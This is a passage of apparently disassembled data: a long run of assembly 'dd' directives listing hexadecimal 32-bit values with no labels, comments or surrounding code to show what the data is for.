		dd 0D9B4628Eh, 0ABE1B254h, 0B9203CE6h, 4A6F12C7h, 0B2A8521Eh
		dd 0E7509CDCh, 0A41CC048h, 0A1CAC56h, 0C118044Ah, 0C2ACD8E7h
		dd 2E693C21h, 1007E464h, 836F227Dh, 0E66BC65Ch,	4BD20B98h
		dd 485B0A5Bh, 787CCE70h, 0ABFF80ECh, 74EE4600h,	82FB8008h
		dd 0C0135CFEh, 18D26709h, 0FF45CC72h, 1006E3Fh,	980671D1h
		dd 0BAE89B3Dh, 0C1112AA7h, 0E09295A4h, 7C3757h,	39754FB3h
		dd 0EA089468h, 82D939Fh, 0C6251F6Eh, 83223E00h,	45C5C302h
		dd 8E0DA31h, 0EFF18806h, 8BFEC49Fh, 0C00CC8D8h,	2777B60Dh
		dd 0CE1DCC0Ah, 2D80D8D6h, 3DB7E1C5h, 95D000A8h,	2A7FE229h
		dd 0E3069E7Ch, 1ED9B3CDh, 4B7D49h, 784EA72Fh, 6FD1C6A8h
		dd 9E4D0C05h, 0F0D1FD9Dh, 0FF001782h, 9200BF09h, 64D27CD3h
		dd 133B0EB3h, 3A3F348Dh, 3112338h, 0B9077C62h, 432BA788h
		dd 34C4D34Ah, 78E1B4C2h, 0A6504A5Ch, 66FBB058h,	0DD8C07D4h
		dd 8054D380h, 8FBA8D6Eh, 0DCC92AF3h, 9F05E069h,	0C965CD9Eh
		dd 0DBF7DC90h, 5CF83897h, 0E65911E8h, 0A61878CFh, 7929EB0Fh
		dd 0AE13843Bh, 0C47BDC57h
		dd 58AB3500h, 4C4EB877h, 0E1FC6602h, 0E72D5EC5h, 60094468h
		dd 0C96CA5C6h, 3C50A798h, 0E9DCA89Ch, 25448060h, 0CCC009EDh
		dd 9C81DAC7h, 9870E3C9h, 2A6F88ECh, 0B0432624h,	0FA9C8200h
		dd 0FAAFB9C3h, 71409AB5h, 0D20A5A2Ah, 10F18E74h, 6B18E2F1h
		dd 0E805E071h, 44CBB591h, 552AA8C2h, 7CE608A2h,	0C387A8FCh
		dd 4C4043E4h, 0B0992328h, 9DE93170h, 0FC7EC4F1h, 0EA059CCBh
		dd 4C14B808h, 219BFC0Ch, 0F7D405AEh, 0B91E0348h, 2CB8D0h
		dd 44F56B97h, 0BE4B9CB0h, 29ABD82Dh, 88DC0044h,	9171A2FEh
		dd 4A90A850h, 56CCE095h, 0C0749CE6h, 21A802B5h,	58984514h
		dd 9F00214Eh, 91C40AEFh, 9F2F465h, 6959E928h, 0E8D744F2h
		dd 0D1C84CCEh, 0CBD779C0h, 0B4149770h, 4C21BD4Bh, 7C03099Bh
		dd 185CE783h, 8CDBBCB4h, 0C2C87603h, 0EBF5C4E8h, 0D62AE041h
		dd 0CE540031h, 0D4D922D7h, 0E17432E5h, 0C68AE425h, 82B1094Ch
		dd 0A880EA25h, 0F1E6D4F9h, 0B7037C77h, 0E7E8046Eh, 0F35A74Eh
		dd 0CB0790A9h, 5C17DF7Dh, 21D0BF28h, 1B0F1818h,	4B192249h
		dd 14B88CD5h, 17A76F25h, 80459154h, 3323B8CBh, 0A09407F8h
		dd 0C9D2856Ch, 3C93D478h, 16ED2278h, 2537BAEh, 0F3B23550h
		dd 69E3D47Ch, 8014A426h, 2C8CD0E8h, 298BDFD2h, 2EA86F04h
		dd 0D4041713h, 1F0BD685h, 48982CE6h, 1697967Ah,	562896A4h
		dd 0E0001046h, 0D0A269Bh, 500204B2h, 8F6F016Dh,	490C5CB8h
		dd 59EB0001h, 144470ECh, 0EC947EE6h, 6F4FDE8Eh,	0FA5B61B1h
		dd 206A837Bh, 0B94BE2F0h, 0C57EA300h, 16D98405h, 684D1FDFh
		dd 3761401Eh, 22F9B925h, 0F3D00295h, 62007C62h,	0C304D04Dh
		dd 8A9234ADh, 0C03EC8D8h, 819DEB1Ah, 9C31B229h,	0A4F8C712h
		dd 0E01CA64Bh, 0F7D0A6h, 0A11E3E54h, 7565B2A7h,	3CB9B803h
		dd 58F326Fh, 0F5B02FB1h, 21B8C9B7h, 2C3C68F7h, 6D40149Bh
		dd 8007964Ah, 0AA649AB9h, 0D8F4CD19h, 0C7280158h, 8280B381h
		dd 1DD02CBEh, 9FB93F75h, 0AC032265h, 0B5D2526Fh, 4A88E8CFh
		dd 4F8E8AC0h, 0B81F0B70h, 14AE1D8Fh, 0DBA5DE41h, 3B80280Bh
		dd 9E2F8266h, 5C197261h, 7144A64h, 0B469A00Bh, 80C0EDF9h
		dd 4DC4FDA4h, 0C030075h, 62D3505Dh, 0B10497B2h,	0ACAD5E11h
		dd 0BA619C42h, 0F9A530F6h, 180FD12Ch, 0B2770260h, 0CBB9988Ah
		dd 1408A04Ch, 4413C669h, 66A8B173h, 0CF6EF0E0h,	53BB0057h
		dd 9FBD0758h, 0A3B0468Ah, 14DE2803h, 8A15C552h,	18F2DAh
		dd 3B2B8C3Fh, 88C819F6h, 0DC9948h, 0E80C900Bh, 1F39549h
		dd 204BB7B6h, 7CFEBD0Fh, 8C0FB81Ch, 0F68A0B01h,	2C5EC982h
		dd 62C3A6C8h, 7972E80Ch, 0D325907Ch, 0F6D178A8h, 0F01D2279h
		dd 834B5964h, 4DC0028Eh, 82040AD2h, 464A8196h, 0FF45E0D6h
		dd 0B030D8B4h, 9F6F714Ch, 5C444088h, 3C01D146h,	699BBCB8h
		dd 18012F12h, 0A59E4D07h, 4183F470h, 30E430DCh,	4E7C0552h
		dd 47E000E6h, 4E05B801h, 434252C3h, 3DEC10A8h, 6240268Ch
		dd 483E09E4h, 48A494DBh, 0D4674h, 82788D86h, 9704AA2Fh
		dd 3CFB383Ah, 250E0550h, 30C5CA0Ch, 7C84F817h, 0AEB864ADh
		dd 1CA8801Fh, 0F4E09C97h, 8841821Bh, 38D014E7h,	96AE699Dh
		dd 0B4D809BCh, 71C61049h, 0AB0643CCh, 18C7103Ch, 0D9894B5Bh
		dd 5E29C005h, 8F4DE480h, 735F300Fh, 0CC03C037h,	11D3F31h
		dd 986B99B4h, 6F695A84h, 0C822F6F1h, 746DE62Fh,	854E07C0h
		dd 7C244C68h, 0EC7BC8C0h, 0AD00EDB0h, 0D33F7A65h, 3A5A5C6Fh
		dd 0A17386Eh, 1DE8D37Dh, 0ECFD1E88h, 0AAF77A07h, 92600656h
		dd 39E924B8h, 8B8F0BB5h, 474C719Bh, 0DA0008B0h,	0E468B6C4h
		dd 4A5C99A5h, 0F29CF2F2h, 63EE3008h, 9652F513h,	0B52540ACh
		dd 0C22FF071h, 0D674C1FCh, 0DBF42A10h, 7E190600h, 90187914h
		dd 0B30F00FEh, 0BA92AA82h, 1CBC9A33h, 510C178Bh, 5CF4AC9Ch
		dd 74034946h, 9384B06Eh, 201DAEF0h, 4EF64F39h, 46A2D8F3h
		dd 1F9C8F30h, 0C5738538h, 822B9B57h, 0B2576578h, 14955758h
		dd 0E803B91h, 5AD558CAh, 3AC0AE09h, 0E080CDB8h,	0F6FE061h
		dd 0E3FB8326h, 0D26C09h, 0A696097Ch, 0A7B90CE2h, 16B0C8D5h
		dd 0F7A40109h, 2ADC5084h, 0D4DECDh, 51695FC9h, 93A62CFh
		dd 0C758FA2Fh, 60E14414h, 3687D9h, 0CA066873h, 0D86DBA55h
		dd 0B918B036h, 44DF35A8h, 0BC0CB8F0h, 3C008CCAh, 2AFFA64Dh
		dd 2594463Bh, 48708CC3h, 2D0FB340h, 58007A4Ah, 41909FB5h
		dd 70A6154Eh, 68AE2CF0h, 0C46E025Eh, 51A04400h,	1E3E84D0h
		dd 0E0BBE75h, 82881518h, 0FC322A90h, 22310258h,	0B0D80169h
		dd 0C0F86D95h, 22B1FDAEh, 0AC4A6D3Bh, 17933C0Dh, 0E0C8748Bh
		dd 0F413FFC0h, 91DFC2Eh, 0B9883A2Dh, 6D12ECF0h,	4480FA5Ah
		dd 247EFB82h, 85DC5389h, 0D8C4AA33h, 0E74B7C98h, 2F7D988Eh
		dd 18C713F3h, 2860DC44h, 7B4CEE66h, 4092252Ch, 70B60CB8h
		dd 154E2F97h, 26860003h, 9DAEA900h, 6D1DB2A8h, 380E62E3h
		dd 56090BD2h, 2C1CC06Ch, 937C1E36h, 6CF9840Ch, 2E7B9C2h
		dd 686075B2h, 0A8581FAEh, 0C6611609h, 0AF505C43h, 0DE400E5h
		dd 2801A060h, 0C6BA3901h, 57B78464h, 0B8886D70h, 3C64EB48h
		dd 7607785Dh, 29759h, 1454837Eh, 64FB5200h, 5F0E2775h
		dd 0DA5C93CEh, 3F3328D8h, 23CD7C02h, 0C014A306h, 8011BAA8h
		dd 1898E4CCh, 819C0B04h, 34B919FEh, 4B78A04Ah, 889B5782h
		dd 178669E0h, 0DA401897h, 0FDD88131h, 0E4E06E5Ch, 0D1E34AB7h
		dd 23E769Ch, 4B445C06h,	0AE5EC001h, 4AB147Bh, 0AE50B85Ch
		dd 6F215803h, 0D8C915DBh, 81181CB7h, 0A65E9982h, 7860F75Dh
		dd 437EAE11h, 0A3EB6707h, 2A8960DDh, 0ED00F392h, 0D4F83B18h
		dd 2DB9CA72h, 0B0008587h, 0AFB8966Fh, 0C00B194Bh, 1FCF3CDh
		dd 97B80D0Eh, 0F302F6C1h, 808CDE60h, 0A86BAE4Ch, 0EB5454AFh
		dd 0A7009740h, 3A8767F5h, 1D984795h, 0C121A02Ch, 0B03C2E56h
		dd 4A8C6C54h, 96EC50A5h, 6AF30D8h, 7E70AAE9h, 33515361h
		dd 7C72E9A0h, 26086600h, 0CBB65C09h, 0AA40E267h, 13D26430h
		dd 6F6332F3h, 5C5239h, 1E7346h,	0ABE17D72h, 0CDBDA8D8h
		dd 0C4392028h, 9E5C720h, 8A4266F4h, 21E4A0A1h, 0AEC44C72h
		dd 7A18A084h, 0F802822Dh, 3C00E06Fh, 81444659h,	18412A7Eh
		dd 7CEAA7B5h, 0DE085CDEh, 121D0501h, 71BCC61h, 4225C460h
		dd 0E7DA3DBEh, 8CA0DD99h, 48EBDA3h, 0C296F2E1h,	0C748B80Ch
		dd 0AB8628F3h, 6760C1B2h, 0E6A5E786h, 4B43C884h, 5A686271h
		dd 0C409D38h, 17801E76h, 4AE51747h, 0B28452FEh,	71420120h
		dd 0E58A146Ah, 9B2BEEC1h, 0ACB85C14h, 48028C0Dh, 82F109ABh
		dd 208447Ch, 6DBF7137h,	0A955DA83h, 0C480CD14h,	3805BB51h
		dd 0A884B872h, 0B20416FBh, 30DFF23Ch, 61FEF3C7h, 9AFB9307h
		dd 21AC7B95h, 0D9800BAh, 0C1E96D0Ch, 2105E324h,	0C6C59FB8h
		dd 0A99EE088h, 0A8D482ACh, 164B1B5Ch, 45EF08A5h, 199C1996h
		dd 207875CDh, 1441AA58h, 4A467460h, 2284CA48h, 0B0909519h
		dd 894A7B22h, 6D0B60B3h, 70237A62h, 0BFD473E3h,	77B3E020h
		dd 0E80A0023h, 6027035Ah, 9B16ABEBh, 0CDCE72h, 0C06A5885h
		dd 0EC8CEC2Dh, 830F8CD1h, 0CD226D81h, 202F19DDh, 4414068Ch
		dd 95EF8E12h, 609F80ACh, 67E2EB2Fh, 60DA6494h, 173D7F20h
		dd 0B71DFBB7h, 90610808h, 6C652F18h, 0F06749E4h, 0C44CB51Ch
		dd 0EC7BA518h, 4503179h, 0CAD96874h, 606EAA52h,	0E0298E00h
		dd 0B3EF0652h, 4C5AEA7Ch
		dd 0F0144E2h, 1F1921C4h, 74C22A26h, 0D6D8FE59h,	7326B2FCh
		dd 4F0814EAh, 0AD1F09F4h, 94538C8Fh, 0AC50A978h, 0A66D1F8Ch
		dd 0EFC2C1C6h, 2F07D22Ah, 0F32DD441h, 0D52AF985h, 0E838FDA4h
		dd 944C01D7h, 9BF58AAFh, 2B4AFD69h, 0A4F2C074h,	0AD3008F2h
		dd 30F204F1h, 88CD84EBh, 7009058h, 0E0E83D93h, 268D0EEh
		dd 8976C4BCh, 18DCFEC3h, 1F9DF8D6h, 6D97649h, 48E85756h
		dd 0C7304DB5h, 7336C29Fh, 190E3CE3h, 9C123068h,	4BC561C0h
		dd 0C09E095Ch, 0CE4FB289h, 6F4E1A06h, 7B007CB3h, 0F764FFCAh
		dd 1E00FE1Fh, 0EB1A4E7Ch, 1701A83Bh, 913EBD66h,	803A7FF4h
		dd 6CA4F2F1h, 2A69119h,	0FAB3949Bh, 9F848E6Eh, 5C6BAF4Fh
		dd 49021379h, 807CE80Ah, 74C9EAB5h, 2974EFh, 30AE3867h
		dd 13699E34h, 0FC36A11Fh, 2CB97192h, 0F05CF64Bh, 5CBC42h
		dd 7E3C3F23h, 0BA1A2811h, 6495975Eh, 8DBE0830h,	929D0733h
		dd 94250330h, 0FE4883D9h, 3AE835A1h, 4A809CDEh,	13DDA796h
		dd 5EB9CF07h, 73698BC6h, 0DC66804Ch, 5A283878h,	2EB39512h
		dd 0C8D22CB8h, 87005188h, 0B1410E70h, 17A680FAh, 0E392A7B8h
		dd 30DFE280h, 9378BF4Dh, 8BE31B03h, 5F47C6Dh, 3F609C21h
		dd 2717839Dh, 5913B680h, 51C483Ah, 0D1A997B8h, 6EABC484h
		dd 0BA2F0014h, 5F37B620h, 53C60192h, 639E5ECBh,	0EB7D01F3h
		dd 0DB553180h, 48DC2A71h, 6C8D664Eh, 4C24CCDCh,	0CE1FA1D8h
		dd 9F33096Ch, 0F47BDCE9h, 792D97B7h, 0D024DBC9h, 1044590h
		dd 36867DB2h, 3A4013AEh, 7CA239Ch, 70BA824Dh, 8F92D448h
		dd 0B9B38403h, 63CF4187h, 0C582B0A0h, 22F081B4h, 4C057FF5h
		dd 34E00F20h, 37AC4BD8h, 0B42C2538h, 9C88BCC0h,	82F64F71h
		dd 85A7FE8h, 40E5E374h,	8A49ED4h, 0C5CA832Eh, 0D688118h
		dd 69CE758Bh, 70F6B95Ch, 0B80CA302h, 404614h, 6759B6C2h
		dd 774FCF96h, 284B0D5Ah, 0CD10E8D9h, 0FFBF0085h, 73B934F5h
		dd 5B0E4B17h, 0A2D14C3Ah, 0F31E904Eh, 958570DCh, 60B99B04h
		dd 34AE45D3h, 88108E94h, 0EE2AC0CEh, 9013299Dh,	14C08399h
		dd 5A058FB9h, 4698D1D1h, 8C8E6E1Ch, 0A3C13CC8h,	5AD8AC17h
		dd 48426582h, 0B868A951h, 0EB3704B2h, 0AE179C18h, 0B0FC842Dh
		dd 320FF7EDh, 527EF9D3h, 0A2331034h, 46007CEDh,	0E159072Dh
		dd 4A69B7ADh, 0BA3CE345h, 0C828CA4Eh, 33FEC0DBh, 0B2044C29h
		dd 42F7E5D0h, 38E2FCB6h, 2DDCEC40h, 0FD48002h, 0A9DBA5B0h
		dd 88B85BC0h, 6F05305Dh, 4089AFB0h, 0F0225C2Ch,	0CC2C4DB5h
		dd 0C201AF36h, 0A2A80340h, 752E668Bh, 88C88B38h, 7B55C148h
		dd 8716F895h, 5E208492h, 96B09014h, 8CF060F8h, 9E265CFEh
		dd 594140B8h, 0A0004AC2h, 0E64B142Dh, 9A71BC81h, 3048B83Ch
		dd 0BC85B204h, 0AE6CC5B9h, 0FB02406Eh, 9DB233F1h, 2694054h
		dd 231E68Ch, 7E62ADBEh,	1298C0FEh, 0C0387F81h, 3C65B8F1h
		dd 36074621h, 3A1C3FA8h, 8E9BD842h, 0C4B58BFFh,	417E1210h
		dd 0D6D0B973h, 0CD80889Ah, 6D59CED4h, 20726210h, 3A9FB91Eh
		dd 0B7B49C4Bh, 0CC418F12h, 0EF2268ADh, 0C0B4CDB5h, 6F657E80h
		dd 11422A14h, 89F288E8h, 607964F3h, 8452C593h, 2B4BCCB7h
		dd 0E3B23E0h, 2EC9646Eh, 0DB2D445Ch, 6DB27030h,	9E131705h
		dd 6CB0FE61h, 6BA312D8h, 4A00B971h, 41C5689Bh, 0A5F916BEh
		dd 0A8277F24h, 0F4D47A70h, 0DAB4006Eh, 0CB0130F5h, 430CFDF0h
		dd 9036A54Ch, 41184A3Eh, 63AB9554h, 0C44AFEB9h,	11289F5Dh
		dd 0CCD4803Dh, 4BF6799Bh, 5AF88B0Bh, 60A0D4E6h,	517E8FBBh
		dd 1C2B433Ah, 297C9E83h, 9B8958B8h, 69D45639h, 9D89F098h
		dd 0EAB1E504h, 0B980EC59h, 41812DEh, 2A0CC65Ch,	6480C76Ch
		dd 4B38F20Fh, 0E15E04D3h, 0C08ED547h, 2E61168Bh, 0E4DC6BCCh
		dd 741464FAh, 81443115h, 0D78DA019h, 302BC861h,	0DB5DB15Ch
		dd 0F5642C0Ah, 0B78718C2h, 5E826D6Bh, 1C225D39h, 0BD7FC3F1h
		dd 66220008h, 736A7914h, 0CB04FD1Fh, 5EEBECB2h,	56AE0148h
		dd 9912B4DDh, 30A11AF8h, 4EF9F891h, 75E0BCB6h, 24025F7Fh
		dd 97B86BF5h, 26FCD6FDh, 1002DE7Ch, 5AF98246h, 741056E6h
		dd 18004546h, 6EB7E0A0h, 0B40931FFh, 7159C03Fh,	67A04A40h
		dd 6147A01Eh, 9C3E355Bh, 0EED002Fh, 2C6B6E05h, 7BDF024Ah
		dd 71E47491h, 38DC147Eh, 0EABCE27Ah, 22F68109h,	8388D07Ch
		dd 0A59E010Ah, 6920B7D8h, 0E16818ACh, 34B65EA9h, 0AA280E9Fh
		dd 6EBA9834h, 0AF1D7B8Ch, 31870309h, 0DEB08A82h, 15C4C2h
		dd 74ACA401h, 7B21C30Ch, 0F0598927h, 3E7627A4h,	90C47864h
		dd 20BAEE77h, 1395C36Ch, 30E620D3h, 0D4B521B1h,	6E037FFEh
		dd 96494E19h, 0E6E2E095h, 9B4C94h, 0C4E4F52Fh, 0B075800h
		dd 6D9A178Ch, 61510078h, 0B4189511h, 0E5001CADh, 311EEA2Eh
		dd 0E66CF3E3h, 6444970Eh, 0A1405600h, 2082BFBEh, 12847B41h
		dd 76F2DFDh, 79FAE12Ch,	0CDE48DEh, 0D8CD5DDEh, 5024E1A9h
		dd 3D3EC7h, 67EF2579h, 3F07FC80h, 8E5E8664h, 0C0478828h
		dd 5F845819h, 5C99860Eh, 0F2A75E1Fh, 0DB1CA138h, 6AB6D811h
		dd 957AC4CCh, 24563C0Bh, 0D404D6EBh, 7347512Dh,	67220B24h
		dd 4900FCE6h, 43E49A77h, 39AD717Fh, 0A6173C64h,	14E8E013h
		dd 0E062F338h, 50B69F79h, 0D18CB1E5h, 7070183Bh, 605948CBh
		dd 57DE2A03h, 0B10021DBh, 449952AEh, 0CE6609h, 0FF8E207Fh
		dd 7DBAAF30h, 20963427h, 880816C4h, 2D8202C5h, 573D3531h
		dd 55D4BAD5h, 0F3009CB5h, 7BE8A99Dh, 2C2BFBD0h,	642560E4h
		dd 0E2B0CD14h, 0B4543CA6h, 4CF72E00h, 775AC49Eh, 0A35D4BAEh
		dd 300DB2ECh, 623D3FD8h, 719C8B42h, 171CA2C6h, 0BEE8DEDAh
		dd 24F7AF9h, 0E494CA91h, 8C5EEAEFh, 7020DB2Fh, 0EC0EB073h
		dd 8BF1C13Bh, 4A47852h,	0D5CF944Dh, 9065AB9Fh, 306EEFh
		dd 50ABC89Eh, 2587BA8Fh, 0B059BE3Dh, 0AA35B241h, 62C3C884h
		dd 0E049BF36h, 81C0DCAFh, 0FF0928F3h, 7EB061C2h, 797254D1h
		dd 0B638D07Eh, 80BA5BC5h, 3C38B195h, 0C0AE4C10h, 0B030310Fh
		dd 765839E1h, 0CBD29C40h, 9C5206F7h, 3915B259h,	750078A4h
		dd 129555E4h, 718459Dh,	28357952h, 0B5CB400Fh, 7C969C33h
		dd 0E16DF461h, 8F34442Eh, 0E87F0B33h, 1580F284h, 0B859E253h
		dd 7C228804h, 8034B89Fh, 39B142B2h, 0A66E14E3h,	3F010CDAh
		dd 4AA3772Dh, 7CF2F4AEh, 17C0EA48h, 94B840B0h, 45C4C00h
		dd 866AE3Eh, 1E09E226h,	28959E00h, 2D4A2973h, 8D1D9CFh
		dd 5B20DCB8h, 7CEDC0F4h, 0A8DCD25Ah, 6BEB1244h,	11B4FCB0h
		dd 881473A5h, 0CD688528h, 40740803h, 3EBB5480h,	532A81h
		dd 0D8D4798Fh, 2FECCED0h, 4B10131Eh, 3088F3D7h,	0F6B11354h
		dd 9E840057h, 619DC211h, 0FD8A995h, 0FA716314h,	0C4100937h
		dd 0A8ABBBA5h, 5449054h, 0B6626D41h, 0B7C9863Eh, 71E0DC51h
		dd 53C516C4h, 1090ADEDh, 6709331Ah, 685634F8h, 13BA8DC2h
		dd 0F5A8C2D7h, 1F134C76h, 0F40084E2h, 5B27F3DFh, 0B70004FFh
		dd 29C9D133h, 98613BA6h, 0CD720FCh, 945AC2Dh, 70707B98h
		dd 0C01D047h, 5C649328h, 0B2E209Ch, 2837FE04h, 0EEA8EA00h
		dd 0B2BBB5DEh, 0F6714B64h, 4460E7E0h, 0B05CCB5h, 0FEF2BCB9h
		dd 0AC07E437h, 938880BBh, 9D440307h, 0C6A01D2Eh, 2A021656h
		dd 9FBA0617h, 1220DE31h, 0E0E4A891h, 4E0A4A6Dh,	0B224A33Dh
		dd 0F3DA3048h, 73088B01h, 5FF12AC1h, 0B858D12Bh, 0C57C386Dh
		dd 0D8C76EB7h, 95114286h
		dd 0A8370C92h, 0BD935583h, 2058BEABh, 34980D72h, 0B817A40Fh
		dd 2FCF8356h, 0B7080C54h, 57E09553h, 738A10CBh,	7943702Ch
		dd 81E0C838h, 0ADBE9F46h, 903AF1CFh, 93A43224h,	37D89D05h
		dd 0C422D9A2h, 0C54507BCh, 2B5489B5h, 0A15FF420h, 3D72504h
		dd 5B106CC5h, 0BCA4A8A4h, 0FE028C0Bh, 0AE5E1C6Ah, 10D85273h
		dd 0C754671h, 313DB9D8h, 80689E7Dh, 76D284F9h, 80072988h
		dd 18CFEAFDh, 40A8762Bh, 240A565Ah, 3C8ABC07h, 600FCDC8h
		dd 0DF98546Dh, 889008Ch, 0E40CEAF1h, 2A120F73h,	0C4A91C6Eh
		dd 3AE4C2D3h, 4D2D50FCh, 1606C080h, 0EC04B9FCh,	0E8E611Bh
		dd 142872ABh, 0FF193502h, 4E0004BDh, 0A054F255h, 407B4FF5h
		dd 0D47578B0h, 0F00680Ch, 3EABE05Dh, 1E9D3F72h,	0C56B139Fh
		dd 0AACAA2F7h, 8A56F828h, 0B7709853h, 13B600E8h, 0F1256574h
		dd 53492C5Dh, 30BC6Ch, 52AC7948h, 0E85C7A5Fh, 0A884FA4Bh
		dd 3C23942Fh, 0C682991Dh, 0D5922A6Ch, 64B280A1h, 0B40E2EDFh
		dd 5EEE0166h, 210815A1h, 0A0F67D89h, 91F15AACh,	24A9B04Ah
		dd 8F49F98h, 8712287Eh,	5EC1B4ECh, 3FEC67B6h, 0B84290DDh
		dd 0C2262714h, 6C760E5Ah, 12E45788h, 178CA8C5h,	10ED0A18h
		dd 16EE20B9h, 9B3A6803h, 4F057BB4h, 23302F48h, 9D69000Eh
		dd 229B6456h, 382A3902h, 40C0F190h, 1DEE4E94h, 0C00FDA66h
		dd 0A76AAE81h, 0F33D1AB9h, 0D040CEB6h, 8C31A12Ch, 0EE27FDCh
		dd 7E259AB5h, 0F1FCE02h, 615481D5h, 54DECD64h, 0D0465EC4h
		dd 0E9BA7C00h, 9E526CCFh, 1457205Ah, 0B060C0E5h, 889B4AEAh
		dd 0A308D830h, 0A1A1CD6Eh, 18D2713Ch, 0C4A05CD4h, 0AB94D45Fh
		dd 8603886Eh, 835E4E9Eh, 6AEBE8C9h, 455B40CCh, 3C203B11h
		dd 1DE982FBh, 7652F33h,	0FCCE9F89h, 3E1E5399h, 8079027Bh
		dd 1313447h, 2DE8374Ah,	545BD287h, 914015A7h, 0BA7A803Eh
		dd 0BCC28DA7h, 0D64A0B60h, 2056A012h, 19C6641h,	7037FFCAh
		dd 0C0C12E8Eh, 0C5F00385h, 5CBD04ADh, 8A102FA6h, 0A2DC43A8h
		dd 208B31D3h, 0D94A53D0h, 0B70694B2h, 0C0DA158Fh, 3451BE09h
		dd 5C9C729Dh, 0F047516h, 0AD48FA27h, 24E20E4h, 51C29F83h
		dd 9A2004DAh, 0E25CFB07h, 49BC0F29h, 4B0068B9h,	156E01DBh
		dd 0E8797225h, 0A22C14h, 5AA80BB1h, 32FCB4BEh, 9F6EF512h
		dd 21320C8h, 0B2AD47DCh, 984B06D3h, 0E5E8F6D0h,	465E58BEh
		dd 0BCD105D3h, 0A8A12BC5h, 0E6BC302Ah, 0F74D23BDh, 284B0544h
		dd 64AC77D4h, 686E5Fh, 60CAF128h, 2E5AB54h, 0F2C73157h
		dd 9AD70B30h, 688F5734h, 4FF41390h, 0DEC020DAh,	9E6808D6h
		dd 0AE4FA0E2h, 91962889h, 30A222h, 8A1BA507h, 5FB659Eh
		dd 55037F64h, 2C28AA45h, 0D9F1C63Bh, 95014912h,	258346A7h
		dd 0ECE3D6F2h, 76482CABh, 17FC8185h, 0F6D51923h, 44C45109h
		dd 0F30D2C03h, 210E299Ah, 0BF1E1803h, 0D482494Ah, 41C45667h
		dd 6BA69E33h, 0F18088DBh, 3479B1BFh, 0C4EEE013h, 0BDA050B4h
		dd 0E95C9444h, 87640046h, 68D4D0Dh, 709C090Ch, 98593FF8h
		dd 2CDF3645h, 2DE95980h, 0A1001E67h, 416D43F5h,	4B99A832h
		dd 10908EDBh, 5E052FEEh, 0FDE53B9Eh, 54A8D234h,	886EFBC0h
		dd 0BD5FAFB8h, 98F34C17h, 23AC2F5Bh, 0A374013Ch, 7E2A6F05h
		dd 0D5EBD492h, 9065DC10h, 0DF633F8h, 0D9AE8300h, 6CF9DFEEh
		dd 940E01B3h, 9B91A0CBh, 0C4747EFBh, 0B88E0CBh,	0A2495BC1h
		dd 2B80E078h, 3E055FB1h, 0F3393Ch, 320E26A7h, 161F7A43h
		dd 0A47C71E1h, 0DA0062A0h, 1B85D0D7h, 2D6E55FAh, 0DC50E4A4h
		dd 64CC67BFh, 0ED9E60E0h, 6CE80928h, 0BC82EE9Bh, 0BC94DE21h
		dd 9D202898h, 67F318CDh, 9819C12Dh, 65DFF525h, 560CAEA0h
		dd 0E8004546h, 0C11B5FFCh, 5817FA81h, 24A87ACFh, 23603AD3h
		dd 0A18400D2h, 0A567BFA0h, 0F2FC5095h, 0C1C14A1Ch, 3F712278h
		dd 0A8010440h, 3A5AAFA7h, 834BE2AEh, 38C269B8h,	93C65E01h
		dd 957C0478h, 10366899h, 1C2E641Fh, 80AA8AAEh, 66D51457h
		dd 0FE26DB4Fh, 0D709ACE5h, 5AB454E0h, 0EA0357Dh, 0C5A07E45h
		dd 0F49CBD41h, 64F2E44Bh, 0F2F3DD05h, 0C558BC5Fh, 0CE33411h
		dd 18008851h, 0BF659FB9h, 0F05CE807h, 5DF2C681h, 83E7E1C5h
		dd 90E8B484h, 0D06813DEh, 0C58B0D34h, 44D0CC4Ah, 59AE4Dh
		dd 9EFD0508h, 1EB54E77h, 0CC57F21Fh, 0CA31BB85h, 0A5E423C0h
		dd 934B267h, 22AE799Ch,	0C5E07854h, 0B656326Ch,	2831668h
		dd 3E3DFE54h, 8000B7FDh, 0B95238A6h, 0AF086DF0h, 80D9CEB3h
		dd 7909C957h, 84019B62h, 0B2EB0B47h, 812FF74Dh,	2A888F90h
		dd 0F92A5CCAh, 10379F84h, 53ED0300h, 94F63BFh, 619BEAB5h
		dd 51DC245Fh, 705824F8h, 0C1F5201h, 2FBF9DBDh, 4282C871h
		dd 5C35FF04h, 20EE3065h, 0FA1AFEF0h, 1DCB3B0Eh,	0F1CE22DCh
		dd 8814633Ah, 15E02812h, 0B4B99CD1h, 960EDA10h,	0CC236C2Eh
		dd 8074C100h, 257914E2h, 0E0659A9Eh, 3330708h, 0BA75B201h
		dd 0FD34C19Ch, 64F72ABCh, 6EF385A0h, 97944D04h,	0B8FC1DF2h
		dd 21408D8Eh, 7E471EECh, 0EEA39600h, 74E46934h,	255C98EDh
		dd 1C23B4D8h, 3900EF7Ch, 0B20721EBh, 1118C1Ah, 0B5FF0DC3h
		dd 2BE2699Bh, 70812C85h, 1502ED37h, 26F8310h, 68B9D8DAh
		dd 0ED55FEE4h, 7C0C619Ch, 0D22CDC2Dh, 678C0297h, 0A59E02F1h
		dd 6037DDh, 0B0DD9CD0h,	4295C9BEh, 44757E4h, 7160DDC4h
		dd 93A8A79h, 9BD81EFCh,	3711D02Ch, 280BB3Ch, 60EDFB9Dh
		dd 0EC04B4D0h, 0A0347E83h, 840032ABh, 5090F31Ah, 3103C57Dh
		dd 0CE833D8Eh, 6DB7E14Fh, 0AC52D080h, 4178E171h, 764A62F2h
		dd 0F5128E0h, 0C10369A0h, 4854EC89h, 0DFAE03DCh, 74C731C3h
		dd 0ACBFFDF0h, 287CB498h, 58045895h, 0A5800C7Fh, 0A2B7E255h
		dd 48468A00h, 2E0870ECh, 1C619F30h, 0C392072Ch,	0F010FFC4h
		dd 59038C1Ch, 0A9C2D97Ah, 0F5A804A4h, 0F4B8D814h, 6402CD5Ch
		dd 0BA994698h, 2F807EEAh, 0AF70BCDBh, 22091495h, 3C481C69h
		dd 5BF36B0Bh, 0C0550412h, 0BD17B304h, 40E1F8CDh, 0A0E03D06h
		dd 988DE871h, 0AE5E0950h, 5CA5EAE7h, 0B860A995h, 0D3FE00FBh
		dd 0D60C4A9Bh, 7CF96113h, 810264Ch, 255CBB02h, 0C01455CEh
		dd 64F3095Bh, 1930CFE2h, 769019Eh, 0C50466A1h, 0FF2BFC02h
		dd 0BE5EE704h, 9120CABh, 0D849624Ch, 203DD9h, 0D1F9478Fh
		dd 0CAAF19h, 2C1605FCh,	0D550E8EFh, 9E9DC201h, 0E3DFB5B6h
		dd 66749C6Eh, 0C030D800h, 0FF7C4CD7h, 0D49695D9h, 62555420h
		dd 2733304Ch, 0C7F4CD5Dh, 9FE7E223h, 5D784255h,	6700103Dh
